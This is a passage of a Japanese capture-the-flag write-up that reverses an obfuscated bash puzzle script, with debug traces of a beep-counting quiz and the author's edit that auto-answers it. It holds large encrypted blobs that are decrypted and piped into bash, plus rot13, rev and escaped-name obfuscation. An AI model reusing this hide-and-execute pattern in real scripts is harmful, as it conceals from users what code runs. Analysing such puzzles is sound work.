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|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;

デバッグモードで実行すると、以下のようになりました。

$ bash -x Beeeeeeeeeer_4.sh
+++ base64 -d
+++ tr A-Za-z N-ZA-Mn-za-m
+++ echo p2IkPt==
++ seq 5
+ for k in '$($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)))'
+ l=3
+++ base64 -d
+++ rev
+++ echo ==gCxV2c
++ seq 3
+ for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)'
++ base64 -d
++ echo ZWNobwo=
+ echo -ne '\a'
++ base64 -d
++ rev
++ echo =oQM
+ sleep 1
+ for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)'
++ base64 -d
++ echo ZWNobwo=
+ echo -ne '\a'
++ base64 -d
++ rev
++ echo =oQM
+ sleep 1
+ for m in '$($(echo ==gCxV2c |rev|base64 -d) $l)'
++ base64 -d
++ echo ZWNobwo=
+ echo -ne '\a'
++ base64 -d
++ rev
++ echo =oQM
+ sleep 1
++ base64 -d
++ echo ZWNobwo=
+ echo 'How many beeps?'
How many beeps?
+ read n

ランダムな回数(1~10回)クイズが出題されるようです。 ランダムで、$l の値が決まり、その回数分1秒のsleepが実行されます。 実行されたsleepの回数を答えて、正解すればもう一度クイズが出題されるようになっています。 すべてに正解すれば、先に進めるようです。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));
do l=$((RANDOM % 10 +1));
 for m in $($(echo ==gCxV2c |rev|base64 -d) $l);
 do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a';
 $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d);
 done;
 $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?";
 $'\162\145\141\144' n </dev/tty;
 export n;
 if [ "$n" -ne "$l" ];
then $'\x65\x78\x69\x74';
fi;
 done;

上記の処理を以下のように変更して、自動で回答するようにしました。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));
do l=$((RANDOM % 10 +1));
 for m in $($(echo ==gCxV2c |rev|base64 -d) $l);
 do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a';
 $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d);
 done;
 $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?";
#  $'\162\145\141\144' n </dev/tty;
#  export n;
n=$l
 if [ "$n" -ne "$l" ];
then $'\x65\x78\x69\x74';
fi;
 done;

再度実行すると、以下のようになりました。

$ bash -x Beeeeeeeeeer_4.sh

# 省略

+ echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK
++ base64 -d
++ echo YmFzZTY0Cg==
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo =bNnmSzL
+ bash
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XDJY
+ base64 -d
How many beeps?
+ read n

また、クイズが出題されています。適当に回答すると、以下のようになり、AESの復号に失敗してしまうようです。

$ bash -x Beeeeeeeeeer_4.sh

# 省略

How many beeps?
+ read n
1
+ export n
+ bash
+ base64 -d
+ echo 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